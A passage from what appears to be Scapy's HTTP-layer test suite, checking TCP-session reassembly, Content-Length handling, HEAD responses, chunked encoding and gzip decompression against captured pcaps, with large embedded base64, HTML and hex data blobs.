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'\nassert a[29].load == base64.b64decode(wireshark_data)\n\n# This a valid JPEG image: try it out\n# open(\"image.jpg\", \"wb\").write(a[29].load)\n\n= TCPSession - dissect HTTP 1.0 html page with Content_Length\n~ http\n\nload_layer(\"http\")\n\nimport os\n\n# Packet from\n# https://community.cisco.com/t5/networking-documents/http-packet-captures/ta-p/3121453\nfilename = scapy_path(\"/test/pcaps/http_content_length.pcap\")\n\nexpected_data = b\"\"\"<!doctype html><html><head><meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\"><title>Google</title><script>window.google={kEI:\"TiU7TKv1IdO6jAfQmdX4AQ\",kEXPI:\"17259,18168,23756,24692,24878,24879,25233,25335,25402,25529\",kCSI:{e:\"17259,18168,23756,24692,24878,24879,25233,25335,25402,25529\",ei:\"TiU7TKv1IdO6jAfQmdX4AQ\",expi:\"17259,18168,23756,24692,24878,24879,25233,25335,25402,25529\"},ml:function(){},kHL:\"en\",time:function(){return(new Date).getTime()},log:function(b,d,c){var a=new Image,e=google,g=e.lc,f=e.li;a.onerror=(a.onload=(a.onabort=function(){delete g[f]}));g[f]=a;c=c||\"/gen_204?atyp=i&ct=\"+b+\"&cad=\"+d+\"&zx=\"+google.time();a.src=c;e.li=f+1},lc:[],li:0,Toolbelt:{}};\\nwindow.google.sn=\"webhp\";window.google.timers={load:{t:{start:(new Date).getTime()}}};try{window.google.pt=window.external&&window.external.pageT;}catch(u){}window.google.jsrt_kill=1;\\nvar _gjwl=location;function _gjuc(){var b=_gjwl.href.indexOf(\"#\");if(b>=0){var a=_gjwl.href.substring(b+1);if(/(^|&)q=/.test(a)&&a.indexOf(\"#\")==-1&&!/(^|&)cad=h($|&)/.test(a)){_gjwl.replace(\"/search?\"+a.replace(/(^|&)fp=[^&]*/g,\"\")+\"&cad=h\");return 1}}return 0}function _gjp(){!(window._gjwl.hash&&window._gjuc())&&setTimeout(_gjp,500)};\\nwindow._gjp && _gjp()</script><style id=gstyle>body{margin:0}#gog{padding:3px 10px 0}td{line-height:.8em;}.gac_m td{line-height:17px;}form{margin-bottom:20px;}body,td,a,p,.h{font-family:arial,sans-serif}.h{color:#36c;font-size:20px}.q{color:#00c}.ts td{padding:0}.ts{border-collapse:collapse}.fl a:link{color:#77c}em{font-weight:bold;font-style:normal}.lst{font:17px arial,sans-serif;margin-bottom:.2em;vertical-align:bottom;}input{font-family:inherit}.lsb,.gac_sb{font-size:15px;height:1.85em!important;margin:.2em;padding:0 6px;width:auto;overflow:visible;}#gog{background:#fff;}#gbar,#guser{font-size:13px;padding-top:1px !important}#gbar{float:left;height:22px}#guser{padding-bottom:7px !important;text-align:right}.gbh,.gbd{border-top:1px solid #c9d7f1;font-size:1px}.gbh{height:0;position:absolute;top:24px;width:100%}#gbs,.gbm{background:#fff;left:0;position:absolute;text-align:left;visibility:hidden;z-index:1000}.gbm{border:1px solid;border-color:#c9d7f1 #36c #36c #a2bae7;z-index:1001}.gb1{margin-right:.5em}.gb1,.gb3{zoom:1}.gb2{display:block;padding:.2em .5em;}.gb2,.gb3{text-decoration:none;border-bottom:none}a.gb1,a.gb2,a.gb3,a.gb4{color:#00c !important}a.gb2:hover{background:#36c;color:#fff !important}</style><script>google.y={};google.x=function(e,g){google.y[e.id]=[e,g];return false};var e=0;if(!window.google)window.google={};window.google.crm={};window.google.cri=0;window.clk=function(f,g,h,l,m,b,n){if(document.images){e++;var a=encodeURIComponent||escape,c=new Image,i=window.google.cri++;window.google.crm[i]=c;c.onerror=(c.onload=(c.onabort=function(){delete window.google.crm[i]}));if(b&&b.substring(0,6)!=\"&sig2=\")b=\"&sig2=\"+b;c.src=[\"/url?sa=T\",\"\",\"&cd=\",a(m),\"&ved=\",a(n),f?\"&url=\"+a(f.replace(/#.*/,\"\")).replace(/\\\\+/g,\"%2B\"):\"\",\"&ei=\",\"TiU7TKv1IdO6jAfQmdX4AQ\",b,\"&nclks=\",e].join(\"\")}return true};\\nwindow.gbar={qs:function(){},tg:function(e){var o={id:\\'gbar\\'};for(i in e)o[i]=e[i];google.x(o,function(){gbar.tg(o)})}};</script></head><body bgcolor=#ffffff text=#000000 link=#0000cc vlink=#551a8b alink=#ff0000 onload=\"document.f.q.focus();if(document.images)new Image().src=\\'/images/nav_logo8.png\\'\" ><textarea id=csi style=display:none></textarea><span><iframe name=wgjf style=display:none></iframe></span><div id=xjsc></div><div id=ghead><div id=gog><div id=gbar><nobr><b class=gb1>Web</b> <a href=\"http://www.google.com/imghp?hl=en&tab=wi\" onclick=gbar.qs(this) class=gb1>Images</a> <a href=\"http://video.google.com/?hl=en&tab=wv\" onclick=gbar.qs(this) class=gb1>Videos</a> <a href=\"http://maps.google.com/maps?hl=en&tab=wl\" onclick=gbar.qs(this) class=gb1>Maps</a> <a href=\"http://news.google.com/nwshp?hl=en&tab=wn\" onclick=gbar.qs(this) class=gb1>News</a> <a href=\"http://www.google.com/prdhp?hl=en&tab=wf\" onclick=gbar.qs(this) class=gb1>Shopping</a> <a href=\"http://mail.google.com/mail/?hl=en&tab=wm\" class=gb1>Gmail</a> <a href=\"http://www.google.com/intl/en/options/\" onclick=\"this.blur();gbar.tg(event);return !1\" aria-haspopup=true class=gb3><u>more</u> <small>&#9660;</small></a><div class=gbm id=gbi><a href=\"http://books.google.com/bkshp?hl=en&tab=wp\" onclick=gbar.qs(this) class=gb2>Books</a> <a href=\"http://www.google.com/finance?hl=en&tab=we\" onclick=gbar.qs(this) class=gb2>Finance</a> <a href=\"http://translate.google.com/?hl=en&tab=wT\" onclick=gbar.qs(this) class=gb2>Translate</a> <a href=\"http://scholar.google.com/schhp?hl=en&tab=ws\" onclick=gbar.qs(this) class=gb2>Scholar</a> <a href=\"http://blogsearch.google.com/?hl=en&tab=wb\" onclick=gbar.qs(this) class=gb2>Blogs</a> <div class=gb2><div class=gbd></div></div><a href=\"http://www.youtube.com/?hl=en&tab=w1\" onclick=gbar.qs(this) class=gb2>YouTube</a> <a href=\"http://www.google.com/calendar/render?hl=en&tab=wc\" class=gb2>Calendar</a> <a href=\"http://picasaweb.google.com/home?hl=en&tab=wq\" onclick=gbar.qs(this) class=gb2>Photos</a> <a href=\"http://docs.google.com/?hl=en&tab=wo\" class=gb2>Documents</a> <a href=\"http://www.google.com/reader/?hl=en&tab=wy\" class=gb2>Reader</a> <a href=\"http://sites.google.com/?hl=en&tab=w3\" class=gb2>Sites</a> <a href=\"http://groups.google.com/grphp?hl=en&tab=wg\" onclick=gbar.qs(this) class=gb2>Groups</a> <div class=gb2><div class=gbd></div></div><a href=\"http://www.google.com/intl/en/options/\" class=gb2>even more &raquo;</a> </div></nobr></div><div id=guser width=100%><nobr><span id=gbn class=gbi></span><span id=gbf class=gbf></span><span id=gbe><a href=\"/url?sa=p&pref=ig&pval=3&q=http://www.google.com/ig%3Fhl%3Den%26source%3Diglk&usg=AFQjCNFA18XPfgb7dKnXfKz7x7g1GDH1tg\" class=gb4>iGoogle</a> | </span><a href=\"/preferences?hl=en\" class=gb4>Search settings</a> | <a href=\"https://www.google.com/accounts/Login?hl=en&continue=http://www.google.com/\" class=gb4>Sign in</a></nobr></div><div class=gbh style=left:0></div><div class=gbh style=right:0></div></div></div> <center><style>.pmoabs{position:absolute;right:0;top:25px;}.pmoflt,.pmoc{float:right;clear:both;}#pmocntr{behavior:url(#default#userdata);border:1px solid #ccc;}#pmocntr table{font-size:80%;}#pmolnk,#pmolnk div{background:url(/images/modules/buttons/g-button-chocobo-basic-1.gif)}#pmolnk{width:170px;}#pmolnk div{background-position:100% -400px;}#pmolnk div div{background-position:0 100%;}#pmolnk a{white-space:nowrap;background:url(/images/modules/buttons/g-button-chocobo-basic-2.gif) 100% 100% no-repeat;color:#fff;display:block;padding:8px 12px 15px 10px;text-decoration:none}.padi {padding:0 0 4px 8px}.padt {padding:0 6px 4px 6px}</style><div id=pmocntr class=pmoabs><table border=0><tr><td colspan=2><img border=0 src=\"/images/close_sm.gif\" class=pmoc onclick=\"cpc()\"><tr><td class=padi rowspan=2><img src=\"/images/chrome_48.gif\"><td class=padt align=center><b>A faster way to browse the web</b><tr><td class=padt align=center dir=ltr><div id=pmolnk><div><div><a href=\"/aclk?sa=L&ai=CMDwaOCM7TIi0MIqv4gbPjZW5B8_W3aEB-9_olQ_v-_3lJxABIMFUULKwjvUBYLsGqgSUAU_QpGfsCCT1d4iDFinqBPHIMs6nmdIsfzDF-UtUGr_gjMc_XAzlKMJy_lPWHLjRniVP1sBkhK5rdW1q85XInEs9JuYm4Dk1ofkpAr6hdMN3EZXsHVSk7CsomsS42n4oOQUZtLJ1sLpkc5VOuvAIU17-0Egro-40RlOQGNYLTbGSHyqssz8Ahp3Ehki745351WicSNE&num=1&sig=AGiWqtz44oZT8y_vcAQLTowVZyUZctoAHA&adurl=http://www.google.com/chrome/index.html%3Fhl%3Den%26brand%3DCHNG%26utm_source%3Den-hpp%26utm_medium%3Dhpp%26utm_campaign%3Den\"><b>Install Google Chrome</b></a></div></div></table></div><script>(function(){var b=\\'pmocntr\\',a=document.getElementById(b),c=\\'d\\',d=\\'i\\',e;function p(){a.style.display=\\'none\\'}try{a.load(b);e=a.getAttribute(d)||0;if(a.getAttribute(c)||e>25){p()}else{a.setAttribute(d,++e);a.save(b)}}catch(z){}window.cpc=function(){p();try{a.setAttribute(c,1);a.save(b)}catch(z){}};window.onresize=function(){if(a.offsetWidth*2+document.getElementById(\\'logo\\').offsetWidth>document.body.clientWidth){a.className=\\'pmoflt\\'}else{a.className=\\'pmoabs\\'}};window.lol=function(){window.onresize()}}())</script><br clear=all id=lgpd><div id=lga><img alt=\"Google\" height=110 src=\"/intl/en_ALL/images/logo2.gif\" width=276 id=logo onload=\"window.lol&&lol()\"><br><br></div><form action=\"/search\" name=f><table cellpadding=0 cellspacing=0><tr valign=top><td width=25%>&nbsp;</td><td align=center nowrap><input name=hl type=hidden value=en><input name=source type=hidden value=hp><input autocomplete=\"off\" maxlength=2048 name=q size=55 class=lst title=\"Google Search\" value=\"\"><br><input name=btnG type=submit value=\"Google Search\" class=lsb><input name=btnI type=submit value=\"I&#39;m Feeling Lucky\" class=lsb></td><td nowrap width=25% align=left><font size=-2>&nbsp;&nbsp;<a href=\"/advanced_search?hl=en\">Advanced Search</a><br>&nbsp;&nbsp;<a href=\"/language_tools?hl=en\">Language Tools</a></font></td></tr></table></form><br><span id=footer><center id=fctr><br><font size=-1><a href=\"/intl/en/ads/\">Advertising&nbsp;Programs</a> - <a href=\"/services/\">Business Solutions</a> - <a href=\"/intl/en/about.html\">About Google</a><p id=shf0 style=display:none;behavior:url(#default#homePage)><font size=-1><a href=\"/aclk?sa=L&ai=Ch8SU4iQ7TMvoHp2x4gbR1rm3B8X4n3yvjpnHCs2tk5cREAEgwVRQvpyhyfj_____AWCrBaoEsgFP0AfDqi9LrsWk8xuAZxV33DBcsflfyeiFyZrQXRUyD-x2QfMpinnjfIrM5cD-YizzdL-m7VKXO6w_kRsOWsPkgD9mKu0K9qXP9FQfHQsHRp0LdDmtlbf1g0E-Md-opiHZKK6_0YlMxALdkw6sN2LZRCkOIQq8LDHViqVDnr8Rqx2bomL0aY_vO6JtJE3QZkkQJkV5ZFLB8R-H0FingtOWISs1zLoTNYlPJwUnqOPcAKF7&num=1&sig=AGiWqtxkwm32U-Ox-AEC_8qXgysR70jfpA&adurl=/mgyhp.html\" onclick=xz()>Make Google my homepage</a></p><script>(function(){var a=document.getElementById(\"shf0\"),b=\"http://www.google.com/\";try{a.isHomePage(b)||(a.style.display=\"block\")}catch(z){}window.xz=function(){try{a.setHomePage(b);var c=new Image;c.src=\"/gen_204?mgmhp=shf0&ct=c&cd=\"+a.isHomePage(b);window.wy=c}catch(z){}}})();</script></font><p><font size=-2>&copy;2010 - <a href=\"/intl/en/privacy.html\">Privacy</a></font></p></center></span> <div id=xjsd></div><div id=xjsi><script>if(google.y)google.y.first=[];if(google.y)google.y.first=[];google.dstr=[];google.rein=[];window.setTimeout(function(){var a=document.createElement(\"script\");a.src=\"/extern_js/f/CgJlbhICdXMrMEU4ASwrMFo4AiwrMA44FSwrMBc4BywrMCc4BCwrMDw4AywrMFE4AiwrMAo4bUAvLCswFjgcLCswGTghLCswJTjKiAEsKzBAOBIsKzBOOAUsKzAYOAUsKzAmOAssgAIN/sfSVKzsYj5Q.js\";(document.getElementById(\"xjsd\")||document.body).appendChild(a);if(google.timers&&google.timers.load.t)google.timers.load.t.xjsls=(new Date).getTime();},0);\\n;google.neegg=1;google.y.first.push(function(){google.ac.i(document.f,document.f.q,\\'\\',\\'\\',\\'\\',{a:1,o:1,l:1});google.History&&google.History.initialize(\\'/\\')});if(google.j&&google.j.en&&google.j.xi){window.setTimeout(google.j.xi,0);google.fade=null;}</script></div><script>(function(){\\nvar b,d,e,f;function g(a,c){if(a.removeEventListener){a.removeEventListener(\"load\",c,false);a.removeEventListener(\"error\",c,false)}else{a.detachEvent(\"onload\",c);a.detachEvent(\"onerror\",c)}}function h(a){f=(new Date).getTime();++d;a=a||window.event;var c=a.target||a.srcElement;g(c,h)}var i=document.getElementsByTagName(\"img\");b=i.length;d=0;for(var j=0,k;j<b;++j){k=i[j];if(k.complete||typeof k.src!=\"string\"||!k.src)++d;else if(k.addEventListener){k.addEventListener(\"load\",h,false);k.addEventListener(\"error\",\\nh,false)}else{k.attachEvent(\"onload\",h);k.attachEvent(\"onerror\",h)}}e=b-d;function l(){google.timers.load.t.ol=(new Date).getTime();google.timers.load.t.iml=f;google.kCSI.imc=d;google.kCSI.imn=b;google.kCSI.imp=e;google.report&&google.report(google.timers.load,google.kCSI)}if(window.addEventListener)window.addEventListener(\"load\",l,false);else if(window.attachEvent)window.attachEvent(\"onload\",l);google.timers.load.t.prt=(f=(new Date).getTime());\\n})();\\n</script>\"\"\"\n\n\nconf.contribs[\"http\"][\"auto_compression\"] = False\na = sniff(offline=filename, session=TCPSession)\npkt = a[7]\nassert HTTP in pkt\nassert HTTPResponse in pkt\nassert pkt[HTTP].Content_Length == b'5012'\nassert len(pkt[Raw].load) == 5012\n\nconf.contribs[\"http\"][\"auto_compression\"] = True\na = sniff(offline=filename, session=TCPSession)\npkt = a[7]\nassert HTTP in pkt\nassert HTTPResponse in pkt\nprint(pkt[Raw].load, expected_data)\nassert pkt[Raw].load == expected_data\n\n= TCPSession - Invalid Content-Length\n\npkts = [\n    IP()/TCP(seq=1)/HTTP()/Raw(load=b'GET / HTTP/1.1\\r\\nContent-Length: bad\\r\\nCoo'),\n    IP()/TCP(seq=41)/HTTP()/Raw(load=b'kie: cookie\\r\\n\\r\\n'),\n]\na = sniff(offline=pkts, session=TCPSession)\n\nassert HTTPRequest in a[0]\nassert a[0].Cookie == b\"cookie\"\n\n= TCPSession - dissect HTTP 1.0 HEAD response\n~ http\n\nload_layer(\"http\")\n\na = sniff(offline=scapy_path(\"/test/pcaps/http_head.pcapng.gz\"), session=TCPSession)\n\nassert HTTPRequest in a[3]\nassert a[3].Method == b\"HEAD\"\nassert a[3].User_Agent == b'curl/7.88.1'\n\nassert HTTPResponse in a[5]\nassert a[5].Content_Type == b'text/html; charset=UTF-8'\nassert a[5].Expires == b'Mon, 01 Apr 2024 22:25:38 GMT'\nassert a[5].Reason_Phrase == b'Moved Permanently'\nassert a[5].X_Frame_Options == b\"SAMEORIGIN\"\n\n= HTTP build with 'chunked' content type\n\npkt = HTTP()/HTTPResponse(Content_Encoding=\"chunked\", Date=b'Sat, 22 Jun 2024 10:00:00 GMT')/(b\"A\" * 100)\nassert bytes(pkt) == b'HTTP/1.1 200 OK\\r\\nContent-Encoding: chunked\\r\\nDate: Sat, 22 Jun 2024 10:00:00 GMT\\r\\n\\r\\n64\\r\\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\r\\n0\\r\\n\\r\\n'\n\n= HTTP decompression (gzip)\n\nconf.debug_dissector = True\nload_layer(\"http\")\n\nimport os\nimport gzip\n\nfilename = scapy_path(\"/test/pcaps/http_compressed.pcap\")\n\n# First without auto decompression\n\nconf.contribs[\"http\"][\"auto_compression\"] = False\npkts = sniff(offline=filename, session=TCPSession)\n\ndata = b'\\x1f\\x8b\\x08\\x00\\x00\\x00\\x00\\x00\\x02\\xffEQ]o\\xdb0\\x0c\\xfc+\\x9a\\x1f\\x92\\xa7\\x9a\\x96?\\xe4\\xb8\\x892`I\\x81\\r\\xe8\\xda\\xa2p1\\xec\\xa9P-\\xd5\\x16*[\\x86\\xa5\\xd8K\\x7f\\xfd\\xa8\\x14E\\x1f\\x8e:R\\x07\\xf2D\\xed\\xbe\\x1d\\xef\\x0f\\xf5\\xdf\\x87\\x1b\\xd2\\xf9\\xde\\x90\\x87\\xa7\\x1f\\xb7\\xbf\\x0e$\\xba\\x02\\xf8\\x93\\x1d\\x00\\x8e\\xf5\\x91\\xfc\\xac\\x7f\\xdf\\x92<N(\\xa9\\'18\\xed\\xb5\\x1d\\x84\\x01\\xb8\\xb9\\x8bH\\xd4y?^\\x03,\\xcb\\x12/Yl\\xa7\\x16\\xeaG\\x08\\xadr0\\xd6:\\x15K/\\xa3\\xfd.T0*!\\xf7;\\xaf\\xbdQ\\xfb\\x1d|\\x9e\\x1f\\xd5\\x17+\\xcf\\xc4\\xf9\\xb3Q<z\\x11\\xcd[;\\xd9\\xd3 \\xaf\\x1ak\\xectM|\\x98<\\x8aI\\r\\x1e\\xbb\\xe9\\xbe%nj\\xf8:Lw8~\\xd4\\xff\\x94\\x89{\\xe1;/\\xda\\xb8\\xb1=\\xa8\\x19\\xa5\\x80\\xc2\\xef\\xbd\\x7f\\xd6\\x92\\xd3\\x82\\xe6\\x8c\\xad0\\x112\\xa4\\t\\xa3y\\xbe\\x9a)_\\xcd)\"\\xe3+\\x87\\xdc!w\\xc8\\xed$y\\x9a\\xe4eZV%+\\xd6d\\xd1\\xd2w|M\\xd7\\xa4S\\xba\\xed\\xfc\\x85\\xc2\\x97\\x91\\xe8\\xd3\\x88\\x90NM\\xb3nT\\xdcZ\\xdb\\x1au\\xf1\"e\\x0f\\xaf\\xc6\\xc1;\\x04m\\xc6\\n\\xc6h\\xb9\\xf5\\xe7Q\\xf1n\\x9c5nt\\xdb\\x08\\xcf;\\xdb\\xab\\x91V\\x9b\\xed)\\xe5\\xdb\\x13C\\x14\\x88\\x1c\\x91!*\\x04M0\\x94\\x81\\x84\\n\\rW\\x94\\x86p\\xa9m\\xf8ix\\x1b\\xec2`\\x03\\x14\\x867\\xd0\\ng%\\xd9\\x86\\xb1\\x94\\x15qUd,B\\xd7\\x10v\\x1d\\x16\\x1f>\\xe5?9\\x89QV\\x01\\x02\\x00\\x00'\n\npkts[2].show()\nassert HTTPResponse in pkts[2]\nassert pkts[2].Expires == b'Mon, 22 Apr 2019 15:23:19 GMT'\nassert pkts[2].Content_Type == b'text/html; charset=UTF-8'\nassert pkts[2].load == data\n\n# Now with auto decompression\n\nconf.contribs[\"http\"][\"auto_compression\"] = True\npkts = sniff(offline=filename, session=TCPSession)\n\npkts[2].show()\nassert HTTPResponse in pkts[2]\nassert pkts[2].load == b'<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\"><html><head><title></title></head><body style=\"background-color: transparent\"><img src=\\'https://pixel.mathtag.com/event/img?mt_id=151466&mt_adid=106144&v1=&v2=&v3=&s1=&s2=&s3=&ord=2047279765\\' width=\\'1\\' height=\\'1\\' /><img src=\"https://adservice.google.com/ddm/fls/z/src=3656617;type=hpvisit;cat=homep198;u2=;u6=;u5=;u4=;u3=;u9=;u10=;u7=;u13=;u14=;u11=;u17=;u18=unknown;u20=;ord=1956603866265.9536\"/></body></html>'\n\n= HTTP decompression (gzip) with retransmission\n\n# pcap from GH4340\n\nimport io\nimport gzip\n\npcap = gzip.decompress(bytes.fromhex(\"1f8b080062b92e6602ff9d586bace4e659f6d964d3e5244b93c08f003f3a52b2e96e9573d69799738e376cd8f15ced33f6dc3cbe0954c6f68cc733b6c739e3b9d840d956085445229590902284442fb4db42aab42ab4a04a5c052d95aa52d01209352090b854a8093fd24a9ba0f2bef69973dbed36b0dad1ccb1fd3ddf7b79dee77dfdfdfd5f7cfea3e7880789f5bfef7f9f2036e0fbb56463d8f8f94d8283dff8c96b370a073ff191773ff2d77ff5b90b44052ec4c10de2e643db1ffffd9ffcee537f7aebf5bff9ca9344ebe557aa9f42949be7eebc617f9420ce3d78fe0b1b0f3c706163e3c17388f8bee78f1133ac0c374324881bc4730f7dfb31444354a2f595275f5a7cf82d40bd75f3f13b6f149f4c115f4134407d172292079bc40ea0eddccbc6cbf134b5f1b3676cbc05a86fb71e3d773ef956e6e95bf126f16fe789f47316e5fcab71882897ffe707a16cfd2b41b49a5d3977f580d9d15a96193bc1b0336e1487d586392c6f87a3305797e5d6556a9bbab8599fcea26bb9e76776b2bdf0b767c97cdb9f0e2e6e162d6b10465b95c09ada6ee05ccb39891b3e93b30743af1fc1fdde6c70b0557406012c16a789eb79fdabf96d3277d99afa613f724d6ff06c4eecf2951c456e93cfe65437b0a7cb594e92733bdbd4b339f9c0b561f1d5c23679e5e266691a44f0d7961c87836bb97e187aae0520d3e0ea6a6bb95c6e0da707fed6fcc01ba03903fb7841631038d1e85a2e9f67a9f46a30b070ddb59ce54d6760e7c5cdb1cd30e4deee4e9f64acfcf0ba5169d04268ba6cd22f5e62caf0ffe980de2587ec80b4eddd7cdebcde3b781ac311c7f6ecfaa53c3958f4bdcbf06df667839dfcfbed019a70f9129d7f3f06f952817befaa6031e490b1f3145328e4df7ba950be72e512c33d3d2fecb014651776addd9d3dfa7ab2d0e9b6c3bb2cad6bfcc2666ca6418f48535dba4d5a19f76b7b0eef8f463a1d7946a9e2f2e5bc63f8ab9191449e4e8f167cb948e97265d92c77dc66395ada747bd750a5a919176971dc2625b5478ab2e01b631d7d3a6dd3f576cd9bf7153631b4f694f73ba1c570335df3868626c4262324bcbb74f871d1dd97a3a2452ba4c6744253558666cd8bfab0462c4d76851abb346a5edcea71a1e9c35a786ebf242cac9a32d7686104eb267d8d478cd0709d89c970f877c8d76713939618a34cc1dfc25c57296fbfd419f648a5ab4c94ae1a0b729b12845eb533ec4c3cb1d32b7072afe76add6c4f1d6c6c695c6ca8f610ed467b74bf9a18b24e6a7407a2c34e8caee3caf5906c56d8b05926ddfdeef268ff26c98dac40180d1476696bd214f6069babb1e52e33bb4aab64a049a93fe0b7676adc10fddc2f4dc2266d2c2c5f81ac38d3b52d7cad9af0a54e68d79468bfcbedf6557dca434c2c8a652cdf23755598813db037607527e18096166600f10c14afc990bb42bd13a571ec66180d975f34fc765ef77946572b243f8e8aa61aa1edd3f5b387311db56b4668d614c8db0872d849c0176010e4d3bd6b9f895dc378f32cda6fd6b9915d734ee215815567f728f6d542a8319267971c17e2e7991eebea9ae4e1fd94236e7ecebb9817696e630cc754d1aa0b9e41b189555b85b8ae41ad2cadbadad34a7b0b58b3b6238b25f0a22f93cb66dc095b75291cf8ca02b9a2d3051263bb2fcf26fdeeec605f3bb66fbde7f087dbe736e234df711613e7c4de02f0a77a80f11fcab35d2350e63a729cce3bb8def445cc2f6597bc5d881769034ff90a97624be3ced0500b6313b886dcb1b57688386730e07a07f8d59eee6bc0774621adba42b654d6d568dbb3ab2cac2f9080435ab103f6e075656ee0f59a327a07aaff7caafa6f9f56fd86b656fd97b709c2741179ad259d51b35671815d94984c9866973fd40b